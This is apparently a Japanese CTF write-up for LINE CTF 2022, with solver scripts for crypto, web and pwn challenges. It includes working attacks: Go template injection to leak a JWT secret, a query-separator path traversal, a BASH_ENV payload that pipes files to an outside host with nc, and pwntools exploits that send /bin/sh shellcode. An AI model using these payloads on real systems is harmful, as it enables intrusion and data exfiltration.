LoginSignup
1
1

More than 1 year has passed since last update.

LINE CTF 2022 writeup

Last updated at Posted at 2022-03-27

9問解いて20位。

score.linectf.me_challenges(capture (1280)).png

score.linectf.me_team(capture (1280)).png

image.png

Welcome (misc)

Welcome to LINECTF 2022!

Flag is LINECTF{welcome_to_LINECTF2022}

LINECTF{welcome_to_LINECTF2022}

ecrypt (pwn, misc)

kernel pwn問題が初めて解けた!!!

$ nc 34.85.38.218 10002
/ $ su
su
/ # cat /flag
cat /flag
LINECTF{WOW!_powerful_kernel_oor_oow}

はい。

kernel問なのに、warmupよりも正解チーム数が多い。「ioctlか何かを叩くだけで解けるなんちゃってkernel問なのかな?」と思って見てみたけれど、きっちりkernelで任意コードを実行をしないといけないように見える。

とりあえず、問題のドライバを叩いてみるか。そのためのプログラムを書き……。あ、libcあるのかな? 適当なバイナリにlddを掛けてみるか。

/ $ ldd /bin/cat
/bin/cat: is setuid

なぜcatにsuid? BusyBoxを使っていて、/bin/busyboxのsuidビットが立っていた。「それなら? cat /flagで良いのでは?」と思ったけれど、それはダメ。BusyBox内に権限を落とす処理があるらしい。でも、suはいけた。

「ecrypt (fixed)」ではbusyboxのsuidが落とされていた。

ss-puzzle (crypto)

ss_puzzle.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 64 bytes
FLAG = b'LINECTF{...}'

def xor(a:bytes, b:bytes) -> bytes:
    return bytes(i^j for i, j in zip(a, b))


S = [None]*4
R = [None]*4
Share = [None]*5

S[0] = FLAG[0:8]
S[1] = FLAG[8:16]
S[2] = FLAG[16:24]
S[3] = FLAG[24:32]

# Ideally, R should be random stream. (Not hint)
R[0] = FLAG[32:40]
R[1] = FLAG[40:48]
R[2] = FLAG[48:56]
R[3] = FLAG[56:64]

Share[0] = R[0]            + xor(R[1], S[3]) + xor(R[2], S[2]) + xor(R[3],S[1])
Share[1] = xor(R[0], S[0]) + R[1]            + xor(R[2], S[3]) + xor(R[3],S[2])
Share[2] = xor(R[0], S[1]) + xor(R[1], S[0]) + R[2]            + xor(R[3],S[3])
Share[3] = xor(R[0], S[2]) + xor(R[1], S[1]) + xor(R[2], S[0]) + R[3]
Share[4] = xor(R[0], S[3]) + xor(R[1], S[2]) + xor(R[2], S[1]) + xor(R[3],S[0])


# This share is partially broken.
Share[1] = Share[1][0:8]   + b'\x00'*8       + Share[1][16:24] + Share[1][24:32]

with open('./Share1', 'wb') as f:
    f.write(Share[1])
    f.close()

with open('./Share4', 'wb') as f:
    f.write(Share[4])
    f.close()

フラグで色々とxorを取って、一部が潰されている。

先頭8バイトがLINECTF{ということは分かっているので、そこから順番に計算していくだけ。こっちがwarmupでは?

solve.py
Share1 = open("Share1", "rb").read()
Share4 = open("Share4", "rb").read()

def xor(a, b):
  return bytes(x^y for x, y in zip(a, b))

S0 = b"LINECTF{"
R0 = xor(Share1[ 0: 8], S0)
R3 = xor(Share4[24:32], S0)
S3 = xor(Share4[ 0: 8], R0)
S2 = xor(Share1[24:32], R3)
R2 = xor(Share1[16:24], S3)
R1 = xor(Share4[ 8:16], S2)
S1 = xor(Share4[16:24], R2)

FLAG = S0+S1+S2+S3+R0+R1+R2+R3
print(FLAG.decode())
$ python3 solve.py
LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}

LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}

X Factor (crypto, warmup)

x_factor_....md
I have generated a RSA-1024 key pair:
* public key exponent: 0x10001
* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3

Here are some known plain -> signature pairs I generated using my private key:
* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a
* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c
* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb
* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd
* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a

**What is the signature of 0x686178656c696f6e?**

Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.

RSAの平文と署名がいくつか与えられる。"haxelion"の署名を求める。

RSAの署名とは、秘密鍵 $d$ での暗号化(復号?)である。RSAで平文 $a$ と $b$ の暗号結果が分かっていれば、$ab$ の暗号結果が得られる。$(ab)^d = a^db^d$。$n$ の素因数分解結果が分からなくても除算はできるので、$\frac{a}{b}$ も計算できる。

署名が与えられている平文を素因数分解して、素因数を使ってhaxelionの署名を求めれば良い。行列の掃き出し法みたいなことが必要かと思ったけれど、良く見ると素因数分解した結果が対称的になっているので、手で計算できる。

solve.py
e = 0x10001
n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3

PS = [
  (0x945d86b04b2e7c7, 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4),
  (0x5de2, 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50),
  (0xa16b201cdd42ad70da249, 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a),
  (0x6d993121ed46b, 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c),
  (0x726fa7a7, 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb),
  (0x31e828d97a0874cff, 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd),
  (0x904a515, 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a),
]
P, S = zip(*PS)

q = 0x686178656c696f6e

"""
0: 0x945d86b04b2e7c7       =                   811 * 947**3 * 970111
1: 0x5de2                  = 2 * 61 * 197
2: 0xa16b201cdd42ad70da249 =                                  970111 * 2098711**2 * 2854343
3: 0x6d993121ed46b         =                         947    * 970111 * 2098711
4: 0x726fa7a7              =     61 * 197**2 * 811
5: 0x31e828d97a0874cff     =                                           2098711    * 2854343 * 9605087
6: 0x904a515               =          197    * 811 * 947

q: 0x686178656c696f6e      = 2 *      197    *       947    *          2098711    *           9605087
"""

assert P[1]*P[5]*P[6]**2*P[3]**2//P[4]//P[2]//P[0]==q

f = S[1]*S[5]*S[6]**2*S[3]**2*pow(S[4]*S[2]*S[0],-1,n)%n
assert pow(f, e, n)==q

print("LINECTF{"+hex(f)[-32:]+"}")
$ python3 solve.py
LINECTF{a049347a7db8226d496eb55c15b1d840}

LINECTF{a049347a7db8226d496eb55c15b1d840}

gotm (web)

JWT。APIだけでフロントエンドが無くて面倒だ。is_admin=trueのユーザーとしてログインできれば、フラグが取得できる。

はいはい、{"alg": "none"} にするやつね……と思ったけど違った。使っているgolang-jwtに対策が入っていて、"none"が使えるのは、鍵がUnsafeAllowNoneSignatureType"none signing method allowed")のときだけ。

JWTの鍵(secret_key)を、なぜか各Accountのメンバ変数に持たせている。

main.go
 :
        id, _ := jwt_decode(token)
        acc := get_account(id)
        tpl, err := template.New("").Parse("Logged in as " + acc.id)
        if err != nil {
        }
        tpl.Execute(w, &acc)
 :

この部分が脆弱性。テンプレートにユーザー入力を渡してはいけない。例えば、IDをkusano{{.Hoge}}のようにすれば、acc.Hogeの内容が出力される。でも、secret_keyは小文字始まり(Goではフィールド名の先頭が小文字ならばprivate、大文字ならばpublicになる)だが……。{{.}}にしたら出力された。tpl.Executeはリフレクションを使って処理しているし、ならば可視性は関係無いのだろう。たぶん。

$ curl http://34.146.226.125/regist -d "id=kusano{{.}}&pw=QtSSUpPzhZwu"
{"status":true,"msg":""}
$ curl http://34.146.226.125/auth -d "id=kusano{{.}}&pw=QtSSUpPzhZwu"
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.RvdAbM1fDHKYmMnYIMHx9w0o4wlvu2COi0XrI7XeYMI"}
$ curl http://34.146.226.125/ -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.RvdAbM1fDHKYmMnYIMHx9w0o4wlvu2COi0XrI7XeYMI'
Logged in as kusano{kusano{{.}} QtSSUpPzhZwu false fasdf972u1031xu90zm10Av}

secret_keyfasdf972u1031xu90zm10Av

is_admin=trueなJWTを作って、送信。

$ curl http://34.146.226.125/flag -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOnRydWV9.5BemsDFk--Wnq8ehgwL6AmirY_earTy27w-ct4oIZAU'
{"status":true,"msg":"Hi kusano{{.}}, flag is LINECTF{country_roads_takes_me_home}"}

LINECTF{country_roads_takes_me_home}

Baby crypto revisited (crypto)

「問題をちょっと変えただけで使い回すのは止めろ。今回の問題でもそのまま解ける解答コードがインターネット上にあるだろ」と文句を言われていた。

サイドチャンネル攻撃でECDSAのnonceをリークしたけど、今回はリークできなかった部分が増えてしまって云々。これ、問題のストーリーだと思っていたけど、メタな話だったのか。昨年のLINE CTFで似た問題が出ていたらしい。……参加したはずだけど、全く思い当たらなかった。

これだ。リークできなかった部分を総当たりで解いていて、簡単だったから、記憶に残っていなかったようだ。

前回は伏せられている部分が16 bitだったのが、今回は64 bit。総当たりは無理。

楕円曲線は全て忘れて良くて、 $s_i=k_i^{-1}(z_i+r_id_A) \mod n$が成り立つ$s_i$、$k_i$、$z_i$、$r_i$が多数与えられて、$d_A$を求める問題になる。ただし、$k_i$の下位64 bitは潰されている。

$k_i$を$k_i+k'_i$ に置き換える。$k'_i$ は64 bitの整数。$d_A$ は不変なので、

d_A = (s_1(k_1+k'_1)-z_1)r_1^{-1} = (s_2(k_2+k'_2)-z_2)r_2^{-1} \mod n

変形して、

s_1r_2k'_1 - s_2r_1k'_2 + s_1k_1r_2-z_1r_2-s_2k_2r_1+z_2r_1 = 0 \mod n

これが成り立つような。64 bitの整数 $k'_1$ と $k'_2$ を求める。格子。法 $n$ は160 bitのところ、$k'_1$ と $k'_2$ は合わせて128 bitなので、式が1個あれば高い確率で一意に定まる。$k$ が求められれば $d_A$ も求められる。

solve.sage
# https://neuromancer.sk/std/secg/secp160r1
n = 0x0100000000000000000001f4c8f927aed3ca752257

r1 = 0xe6b7c5a62d08e0216e1e7ed7948c96b74c0be9cd
s1 = 0x49e1050393f885117de74e7a02d1091d67faa3d0
k1 = 0xff07bbee67c3ab910000000000000000
z1 = 0xe91f3200a87205d18a97bdf3bb3027c9f532c8a4

r2 = 0x7e7b86c8624c9b597131bb883053b1856527a5ff
s2 = 0x7787b9157fbbaf178ed091b23ce30b2e1ccf9abf
k2 = 0x882f44f29c56aea60000000000000000
z2 = 0x37c9f0d06570b0087430b9c66372e385839bb348

oo = 2^1024
M = [
 [1, 0, 0,  (s1*r2)*oo],
 [0, 1, 0,  (-s2*r1)*oo],
 [0, 0, oo, (s1*k1*r2-z1*r2-s2*k2*r1+z2*r1)*oo],
 [0, 0, 0,  n*oo],
]
M = Matrix(M).LLL()

m = M[-1]
assert abs(m[2])==oo
assert abs(m[3])==0
kd1 = m[0]*(m[2]//oo)
d = (s1*(k1+kd1)-z1)*pow(r1, -1, n)
print(f"LINECTF{{{hex(d)}}}")
>docker run --rm -it -v "%CD%":/host sagemath/sagemath sage /host/solve.sage
LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}

LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}

Forward-or (crypto)

暗号文から平文を求める問題。もちろん何も手がかりが無ければ無理だが、平文の先頭がLINECTF{であることは分かっている。

key0123の4種類の文字で構成される20文字の文字列。これをkey[:10]key[10:]に分けて、それぞれの鍵を使い、PRESENTというライブラリで二重に暗号化している。

$4^{20}$ の全探索はできないが、$4^{10}$ はできる。LINECTF{を1回暗号化した結果と、問題の暗号文を復号した結果が一致すれば良い。半分全列挙。

solve.py
ciphertext = bytes.fromhex("3201339d0fcffbd152f169ddcb8349647d8bc36a73abc4d981d3206f4b1d98468995b9b1c15dc0f0")
nonce = bytes.fromhex("32e10325")

import itertools
from present import Present
from main import CTRMode

print("stage 1")
M = {}
for k in itertools.product("0123", repeat=10):
  k = "".join(k).encode()
  c = Present(k, 16).encrypt(nonce+bytes(4))
  M[c] = k

print("stage 2")
c = bytes(x^y for x, y in zip(b"LINECTF{", ciphertext[:8]))
for k in itertools.product("0123", repeat=10):
  k = "".join(k).encode()
  p = Present(k, 16).decrypt(c)
  if p in M:
    key = M[p]+k
    break
print("key:", key)

#key = b"32013230202123003302"

print(CTRMode(key, nonce).decrypt(ciphertext).decode())
$ python3 solve.py
stage 1
stage 2
key: b'32013230202123003302'
LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}

それなりに実行時間が掛かり、鍵を手に入れられた後の処理のtypoなどで落ちると悲しいので、鍵を手に入れたらすぐに出力しておくと良い。その鍵を使って復号処理が書ける。

LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}

Memo Drive (web)

image.png

アクセスするIPアドレスごとにメモが保存できる。保存先は ./memo/${MD5(ip+'_'+SALT)}/。フラグは./memo/flagにある。メモへのアクセスは/view?${MD5(ip+'_'+SALT)}=${filename}

index.py
 :
def view(request):
    context = {}

    try:
        context['request'] = request
        clientId = getClientID(request.client.host)

        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise
        
        filename = request.query_params[clientId]
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
        
        f = open(path, 'r')
        contents = f.readlines()
        f.close()
        
        context['filename'] = filename
        context['contents'] = contents
 :

filenameでディレクトリトラバーサルをしたいが、.を含められない。なら、=の前の部分で……と思うけれど、ここはIPアドレスから計算される値でなければいけない。request.query_params[clientId]で引く用と、ディレクトリトラバーサル用の2個を用意すれば良い……が、URLに&を含められない。

使われているStarletteのソースコードを見ると、クエリパラメタはurllib.parse_qslでパースしている。

urllib.parse_qslを見ると、

バージョン 3.10 で変更: Added separator parameter with the default value of &. Python versions earlier than Python 3.10 allowed using both ; and & as query parameter separator. This has been changed to allow only a single separator key, with & as the default separator.

バージョン3.9までは&の代わりに;が通るらしい。えぇ……。

/view?aa012f45736dd26fa77748d960d5968d=flag;/%2E%2E/=でフラグが出てくる。

LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}

bb (web, misc, warmup)

index.php
<?php
    error_reporting(0);

    function bye($s, $ptn){
        if(preg_match($ptn, $s)){
            return false;
        }
        return true;
    }

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
            putenv("{$k}={$v}");
        }
    }
    system("bash -c 'imdude'");
    
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>

これだけ。シンプルな問題は好き。

あまり知られていない……かどうかは分からないが、PHPではenv[hoge]=fugaというクエリパラメタが与えられると、%_GET["env"]["hoge" => "fuga"]となる。これを使って環境変数を設定して、system("bash -c 'imdude'");で悪さをしろという問題。ちなみに、imdudeというコマンドは存在しない。

bashは関数をexportすることができる。どうやっているかというと、BASH_FUNC_funcname%%という環境変数に関数を文字列として設定し、bashの起動時に読み込む。Shellshockの対策として、環境変数名が難しくなった。

$ hoge() {
> echo fuga
> }
$ export -f hoge
$ bash -c hoge
fuga
$ env
 :
BASH_FUNC_hoge%%=() {  echo fuga
}
 :

BASH_FUNC_imdude%%を設定すれば終わりかと思ったが、環境変数名に記号が入っていると誰かに消される。どうするの……とググっていたら、今回問題と同じような問題があったらしく、中国語のwriteupが出てきた。

今の時代、英語だけではなく中国語も読めないといけないのか。まあ、機械翻訳でも意味は取れる。

なるほど、BASH_ENV/?env[BASH_ENV]=$(cat /* | nc my-server 1234)とすれば良い。環境変数の値に英数字が使えないという制約があるので、$'...'と8進数表記で回避。

$ $'\151\144' # id
uid=1000(kusano) gid=1000(kusano) ...

LINECTF{well..what_do_you_think_about}

trust code (pwn, warmup)

あと少しで解けなかった。悔しい。

warmup……? このコンテスト、warmupがおかしくない? 20人しか解けないwarmupとは。

image.png

シェルコードを秘密の鍵を使ってAES-128 CBCで復号して、実行してくれる。「trust」がどういうことかというと、復号結果の先頭に"TRUST_CODE_ONLY!"が無ければいけない。暗号鍵が分からないので、そんなのは無理。

Ghidraで復号したソースコードはこんな感じ。

unsigned char secret_key[0x10];
unsigned char iv[0x10];
int loop_cont = 1;

int main()
{
    launch();
}

void launch()
{
    char key[0x10];
      :
    int fd = open("secret_key.txt", 0);
    read(fd, key, 0x10);
    close(fd);
    memcpy(secret_key, key, 0x10);

    service();
}

void service()
{
    char v[0x10];

    printf("iv> ");
    read(STDIN_FILENO, v, 0x20);
    memcpy(iv, v, 0x10);

    loop();
}

void loop()
{
    while (loop_cont!=0)
    {
        run();
    }
}

void run()
{
    Shellcode shellcode;

    unsigned char *c = read_code();
    memcpy(shellcode.code, c+0x10, 0x20);
    execute(shellcode.code);
}

class Shellcode
{
    unsigned char code[0x20];
    ~Shellcode()
    {
        printf("\n= Executed =\n");
        write(STDOUT_FILENO, code, 0x20);
        memset(code, 0, 0x20);
    };
};

unsigned char *read_code()
{
    unsigned char code[0x30];

    printf("code> ");
    memset(code, 0, 0x30);
    read(STDIN_FILENO, code, 0x30);

    return decrypt(code);
}

unsigned char *decrypt(unsigned char enc[0x30])
{
    unsigned char *plain = new unsigned char[0x30];
    AES_KEY key;
    AES_set_decrypt_key(secret_key, 128, &key);
    AES_cbc_encrypt(enc, plain, 0x30, &key, iv, 0);
    if (strncmp(plain, "TRUST_CODE_ONLY!", 0x10)!=0) {
        throw std::exception();
    }
    return plain;
}

void execute(unsigned char *code)
{
    int res = invalid_check(code);
    char buf[2];

    if (res!=-1) {
        unsigned char *tmp = create_rwx(code);
        ((void (*)())tmp)();
        munmap(tmp, 0x1000);
    }
    printf("done?> ");
    read(STDIN_FILENO, buf, 2);
    if (buf[0]=='y' || buf[1]=='Y') {
        loop_cont = 0;
    }
}

void invalid_check(unsigned char code[0x20]) {
    for (int i=0; i<0x20; i++)
        if (code[i]==0x0f || code[i]==0x05)
            return -1;
    return 0;
}

void create_rwx(unsigned char code[0x20])
{
    // rwxの領域を確保してcodeをコピー
}

serviceにバッファオーバーフローの脆弱性がある。AES-128で、確保しているメモリは128 bitなのに、256 bit読み込める。しかし、カナリアのチェックがあるので、バッファオーバーフローでの攻撃はできない。

decryptが例外を投げるのがポイント。このとき、runShellcodeのデストラクタが呼びされる。たとえスタックが壊れいても。

そういえば、こういうコードがどうやって処理されるのか知らなかった。

test.cpp
struct C {
    ~C() {}
};

void h() {
    throw 0;
}

int a;
void g() {
    C c;
    h();
    a = 1;
}

void f() {
    g();
}

int main()
{
    try {f();}
    catch (...) {}
}

単純にtrysetjmpでもしているのかと思っていたけれど、それではダメで、gCのデストラクタを呼ばないといけない。一方、a = 1は実行されない。コンパイルして逆アセンブルしてみると、gに通常のフロートは別にC::~Cを呼ぶ処理がある。でも、その処理のアドレスはどうやって知るの……?

ELFの.eh_frameに書かれているらしい。readelf --debug-dump=framesで確認ができる。へー。

$ readelf --debug-dump=frames trust_code
Contents of the .eh_frame section:
 :
000001a4 000000000000001c 00000024 FDE cie=00000184 pc=0000000000001610..00000000000016ac
  Augmentation data:     c3 02 00 00
  DW_CFA_advance_loc: 4 to 0000000000001614
  DW_CFA_def_cfa_offset: 80
  DW_CFA_advance_loc1: 112 to 0000000000001684
  DW_CFA_def_cfa_offset: 8
  DW_CFA_advance_loc: 1 to 0000000000001685
  DW_CFA_def_cfa_offset: 80
  DW_CFA_nop
 :
0000000000001610 <run()>:
    1610:	48 83 ec 48          	sub    rsp,0x48
    1614:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
    161b:	00 00 
    161d:	48 89 44 24 40       	mov    QWORD PTR [rsp+0x40],rax
    1622:	e8 49 fd ff ff       	call   1370 <read_code()>
    1627:	48 89 04 24          	mov    QWORD PTR [rsp],rax
    162b:	e9 00 00 00 00       	jmp    1630 <run()+0x20>
    1630:	48 8b 04 24          	mov    rax,QWORD PTR [rsp]
    1634:	48 89 44 24 18       	mov    QWORD PTR [rsp+0x18],rax
    1639:	48 8b 44 24 18       	mov    rax,QWORD PTR [rsp+0x18]
    163e:	0f 10 40 10          	movups xmm0,XMMWORD PTR [rax+0x10]
    1642:	0f 10 48 20          	movups xmm1,XMMWORD PTR [rax+0x20]
    1646:	0f 29 4c 24 30       	movaps XMMWORD PTR [rsp+0x30],xmm1
    164b:	0f 29 44 24 20       	movaps XMMWORD PTR [rsp+0x20],xmm0
    1650:	48 8d 7c 24 20       	lea    rdi,[rsp+0x20]
    1655:	e8 f6 fe ff ff       	call   1550 <execute(unsigned char*)>
    165a:	e9 00 00 00 00       	jmp    165f <run()+0x4f>
    165f:	48 8d 7c 24 20       	lea    rdi,[rsp+0x20]
    1664:	e8 07 03 00 00       	call   1970 <Shellcode::~Shellcode()>
    1669:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
    1670:	00 00 
    1672:	48 8b 4c 24 40       	mov    rcx,QWORD PTR [rsp+0x40]
    1677:	48 39 c8             	cmp    rax,rcx
    167a:	0f 85 27 00 00 00    	jne    16a7 <run()+0x97>
    1680:	48 83 c4 48          	add    rsp,0x48
    1684:	c3                   	ret    
    1685:	48 89 c1             	mov    rcx,rax
    1688:	89 d0                	mov    eax,edx
    168a:	48 89 4c 24 10       	mov    QWORD PTR [rsp+0x10],rcx
    168f:	89 44 24 0c          	mov    DWORD PTR [rsp+0xc],eax
    1693:	48 8d 7c 24 20       	lea    rdi,[rsp+0x20]
    1698:	e8 d3 02 00 00       	call   1970 <Shellcode::~Shellcode()>
    169d:	48 8b 7c 24 10       	mov    rdi,QWORD PTR [rsp+0x10]
    16a2:	e8 99 fa ff ff       	call   1140 <_Unwind_Resume@plt>
    16a7:	e8 24 fa ff ff       	call   10d0 <__stack_chk_fail@plt>
    16ac:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]

例外が発生したときには、スタックのリターンアドレスからどこの関数から呼び出されたのかを把握し、.eh_frameの情報からデストラクタ用の処理を呼んだり、スタックを巻き戻したりしているらしい。

serviceのバッファオーバーフローで、本来はlaunchを挿しているリターンアドレスを、runを挿すように書き換えると、runから呼び出されていると誤認し、runShellcodeのデストラクタを呼び出す処理がもう一度実行される。このとき、本来はshellcodeがあるべきスタックの位置がちょうどkeyになっていて、secret_key.txtがリークする。

attack1.py
from pwn import *
import time

s = remote("35.190.227.47", 10009)

s.sendafter(b"iv> ", b"a"*0x18+bytes([0x5a, 0x16]))
s.sendafter(b"code> ", b"aaa")

time.sleep(1)
print(s.recv(0x100))

1/16の確率で0x16の1の部分が当たると、secret_keyが出てくる。

$ for i in $(seq 32); do python3 attack1.py; done
 :
[*] Closed connection to 35.190.227.47 port 10009
[+] Opening connection to 35.190.227.47 on port 10009: Done
b'\n= Executed =\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n= Executed =\n\x00\x1c\x01\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00v0nVadznhxnv$nph\nSorry for the inconvenience, there was a problem while decrypting code.\n'
[*] Closed connection to 35.190.227.47 port 10009
[+] Opening connection to 35.190.227.47 on port 10009: Done

secret_key"v0nVadznhxnv$nph"

後はシェルコードを送り込むだけ……と思いきや、invalid_checkが残っていた。0x050x0fが弾かれるので、syscall0f 05)が使えない。とはいえ、書き込みもできる領域にシェルコードが置かれるので書き換えるだけ。そのようなシェルコードをコードゴルフ。呼び出し時にraxがシェルコードを指していることを利用して、

  call base
base:
  pop rax

を削ったらいけた。

コードゴルフしないためのリトライ機能かと思ったけど、1回目と2回目でどうやって状態を持ち越せば良いのか分からん。

attack2.py
from pwn import *
from Crypto.Cipher import AES

context.arch = "amd64"
shell = asm("""
base:
  /* rax = base */
  add rax, 0x1c /* (syscall-base)だとなぜかdwordになる */
  not word ptr [rax]

  push SYS_execve
  pop rax
  mov rbx, 0x68732f6e69622f /* /bin/sh */
  push rbx
  mov rdi, rsp
  xor esi, esi 
  xor edx, edx
syscall:
  .byte (0xff^0x0f), (0xff^0x05)
""")
print(len(shell))
print(disasm(shell))

shell = b"TRUST_CODE_ONLY!"+shell
shell += b"\x00"*(0x30-len(shell))

key = b"v0nVadznhxnv$nph"
iv = bytes(16)

shell = AES.new(key=key, mode=AES.MODE_CBC, iv=iv).encrypt(shell)

s = remote("35.190.227.47", 10009)
#s = remote("localhost", 8888)
s.sendafter(b"iv> ", iv)
s.sendafter(b"code> ", shell)

s.interactive()
$ python3 attack2.py
30
